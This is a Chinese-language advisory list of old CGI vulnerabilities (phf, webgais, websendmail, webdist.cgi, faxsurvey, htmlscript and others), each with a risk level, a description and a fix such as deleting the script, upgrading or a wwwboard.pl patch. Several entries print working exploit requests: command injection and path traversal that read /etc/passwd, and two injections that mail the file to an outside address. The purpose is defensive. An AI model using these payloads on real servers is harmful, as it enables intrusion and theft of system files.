以下收集和整理了一些著名的CGI漏洞,并提供了一些安全建议和解决方法,如果服务器存在这些漏洞不及时修补的话,每一个漏洞有可能将会补入侵者利用,加大服务器被攻击的指数。
● 类型: 攻击型
● 风险等级: 中
● 描述: 在NCSA 或者 Apache (1.1.1版本以内)非商业版本的Web Server中有一段程序util.c,允许入侵者以root身份执行任何一个指令:
http://www.xxx.com/cgi-bin/phf?Qname=root%0Asome%20command%20here
● 解决方法: 把Apache web server升级到1.1.1以上,或者将NCSA web server升级到最新版本。
● 类型: 攻击型
● 风险等级: 中
● 描述: 如果使用Windows NT做为WebServer的操作系统,而且wguest.exe存在于Web可执行目录中的话,入侵者将能利用它阅读到硬盘上所有USR_<hostname>用户能阅读的文件。
● 解决方法: 将wguset.exe从Web目录中移走或删除。
● 类型: 攻击型
● 风险等级: 中
● 描述: 如果使用Windows NT做为WebServer的操作系统,而且rguest.exe存在于Web可执行目录中的话,入侵者将能利用它阅读到服务器硬盘上所有USR_<hostname>用户能阅读的文件。
● 解决方法: 将rguset.exe从Web目录中移走或删除。
● 类型: 攻击型
● 风险等级: 低
● 描述: 在cgi-bin执行目录下存在perl.exe,这属于严重的配置错误。入侵者可以在perl.exe后面加一串指令,利用浏览器在server上执行任何脚本程序。
● 解决方法: 在Web目录下移除perl.exe这个程序。
● 类型: 攻击型
● 风险等级: 低
● 描述: 如果使用Front Page作为WebServer,那么入侵者能够利用IUSR_ <lt;hostname>用户和shtml.exe入侵户用的机器。
● 解决方法: 将shtml.exe从Web目录移走或删除。
● 类型: 攻击型
● 风险等级: 低
● 描述: wwwboard.pl程序容易引起攻击者对服务器进行D.O.S攻击。
● 建议: 如无必要可以删除该文件。
● 解决方法: 将get_variables的子程序中的下面这段:
if ($FORM{"followup"}) { $followup = "1"
@followup_num = split(/,/,$FORM{"followup"});
$num_followups = @followups = @followup_num;
$last_message = pop(@followups);
$origdate = "$FORM{"origdate"}"
$origname = "$FORM{"origname"}"
$origsubject = "$FORM{"origsubject"}" }
替换为:
if ($FORM{"followup"}) {
$followup = "1"
@followup_num = split(/,/,$FORM{"followup"});
$num_followups = @followups = @followup_num;
$last_message = pop(@followups);
$origdate = "$FORM{"origdate"}"
$origname = "$FORM{"origname"}"
$origsubject = "$FORM{"origsubject"}"
# WWWBoard Bomb Patch
# Written By: Samuel Sparling sparling@slip.net)
$fn=0;
while($fn < $num_followups)
{
$cur_fup = @followups $fn];
$dfn=0;
foreach $fm(@followups)
{
if(@followups[$dfn] == @followups[$fn] && $dfn != $fn)
{
&error(board_bomb);
}
$dfn++;
}
$fn++;
}
# End WWWBoard Bomb Patch
}
● 类型: 攻击型
● 风险等级: 中
● 描述: 如果使用Windows NT作为WebServer的操作系统,入侵者能够利用uploader.exe上传任何文件。
● 解决方法: 将uploader.exe从Web目录移走或删除。
● 类型: 攻击型
● 风险等级: 高
● 描述: 如果使用Windows NT做为WebServer的操作系统,而且bdir.htr存在于Web可执行目录中的话,入侵者将能利用它在服务器上无止境的创建ODBC数据库,并生成一些可执行的文件。
● 解决方法: 将bdir.htr从Web目录移走或删除。
● 类型: 攻击型
● 风险等级: 高
● 描述: 在/cgi-bin目录下的Count.cgi程序(Wwwcount2.3版本)有一个溢出错误,允许入侵者无须登录而远程执行任何指令。
● 建议: 如无必要可以删除该文件。
● 解决方法: 将Wwwcount升级到2.4或者以上。
● 类型: 攻击型
● 风险等级: 高
● 描述: test-cgi这个文件可以被入侵者用来浏览服务器上的重要信息。
● 建议: 建议审核cgi-bin目录下的执行程序,严格控制访问权限。
● 解决方法: 删除test-cgi文件。
● 类型: 攻击型
● 风险等级: 高
● 描述: nph-test-cgi这个文件可以被入侵者用来浏览服务器上的重要信息。
● 建议: 建议审核cgi-bin目录下的执行程序,严格控制访问权限。
● 解决方法: 删除nph-test-cgi文件。
● 类型: 攻击型
● 风险等级: 低
● 描述: php.cgi程序有较多的漏洞,包括缓存溢出漏洞,还有导致任何系统文件可以被入侵者读取的漏洞。
● 建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
● 解决方法: 删除php.cgi程序是最好的办法。
● 类型: 攻击型
● 风险等级: 低
● 描述: IRIX 5.3、6.2、6.3、6.4的/cgi-bin/handler程序存在缓存溢出错误,允许入侵者在server上远程执行如下程序:
telnet target.machine.com 80
GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download
HTTP/1.0
● 建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
● 解决方法: 删除handler文件。
● 类型: 攻击型
● 风险等级: 高
● 描述: /cgi-bin,目录下的webgais是GAIS搜索工具的一个接口,它有一个漏洞使入侵者可以绕过程序的安全机制,执行系统命令:
POST /cgi-bin/webgais HTTP/1.0
Content-length: 85 (replace this with the actual length of the "exploit" line)
telnet target.machine.com 80
query="mail+you\@your.host</etc/passwd;echo"&output=subject&domain=paragraph
● 建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
● 解决方法: 删除webgais文件。
● 类型: 攻击型
● 风险等级: 高
● 描述: /cgin-bin目录下的websendmail程序允许入侵者执行一个系统指令:
telnet target.machine.com 80
POST /cgi-bin/websendmail HTTP/1.0
Content-length: xxx (should be replaced with the actual length of the stri
ng passed to the server, in this case xxx=90)
receiver=;mail+your_address\@somewhere.org</etc/passwd;&sender=a&rtnaddr=a
&subject=a
&content=a
● 建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
● 解决方法: 高级用户可以编辑websendmail脚本,过滤特殊字符。一般用户则删除websendmail文件。
● 类型:攻击型
● 风险等级:高
● 描述:对于Irix6.2和6.3平台,/cgi-bin目录下的webdist.cgi有一个弱点允许入侵者无须登录而在系统上执行任何指令:
http://host/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd
● 建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
● 解决方法: 删除/var/www/cgi-bin/webdist.cgi目录下的webdist.cgi。
● 类型: 攻击型
● 风险等级: 高
● 描述: 在Linux S.u.S.E上/cgi-bin目录下的faxsurvey程序允许入侵者无须登录就能在服务器执行指令:
http://joepc.linux.elsewhere.org/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
● 建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
● 解决方法: 删除/cgi-bin/faxsurvey文件。
● 类型: 攻击型
● 风险等级: 中
● 描述: 安装了htmlscript2.99x或者更早版本的服务器,存在一个漏洞使入侵者可以查看服务器上的任何文件:
http://www.vulnerable.server.com/cgi-bin/htmlscript?../../../../etc/passwd
● 建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
● 解决方法: 删除/cgi-bin/htmlscript脚本文件,或者将htmlscript升级到3.0以上。
● 类型: 攻击型
● 风险等级: 中
● 描述: 在Irix6.4或者更早版本的Web服务器上,/cgi-bin/pfdisplay程序允许入侵者非法查看服务器上的文件。
● 建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
● 解决方法: 删除/cgi-bin/pfdisplay文件,或者打补丁程序。
补丁程序可以去sgigate.sgi.com (204.94.209.1) 或者ftp.sgi.com下载:
Filename: README.patch.3018
Algorithm #1 (sum -r): 37955 11 README.patch.3018
Algorithm #2 (sum): 15455 11 README.patch.3018
MD5 checksum: 1169EB51D75E0794C64C2C1FD6211B69
Filename: patchSG0003018
Algorithm #1 (sum -r): 01679 2 patchSG0003018
Algorithm #2 (sum): 12876 2 patchSG0003018
MD5 checksum: BD16A53A0AE693D6E9E276EE066BDBC8
Filename: patchSG0003018.idb
Algorithm #1 (sum -r): 01339 2 patchSG0003018.idb
Algorithm #2 (sum): 251 2 patchSG0003018.idb
MD5 checksum: 1CB16E6A8C50BF17CD02A29C2E4D35EB
Filename: patchSG0003018.performer_tools_man
Algorithm #1 (sum -r): 10201 8 patchSG0003018.performer_tools_man
Algorithm #2 (sum): 3144 8 patchSG0003018.performer_tools_man
MD5 checksum: B6B3D90FAB9B5A342397C3E5AF5A8D29
Filename: patchSG0003018.performer_tools_sw
Algorithm #1 (sum -r): 48474 18 patchSG0003018.performer_tools_sw
Algorithm #2 (sum): 28176 18 patchSG0003018.performer_tools_sw
MD5 checksum: DF4E8ED8326A6A0B39F7B4D67E5FD71F
……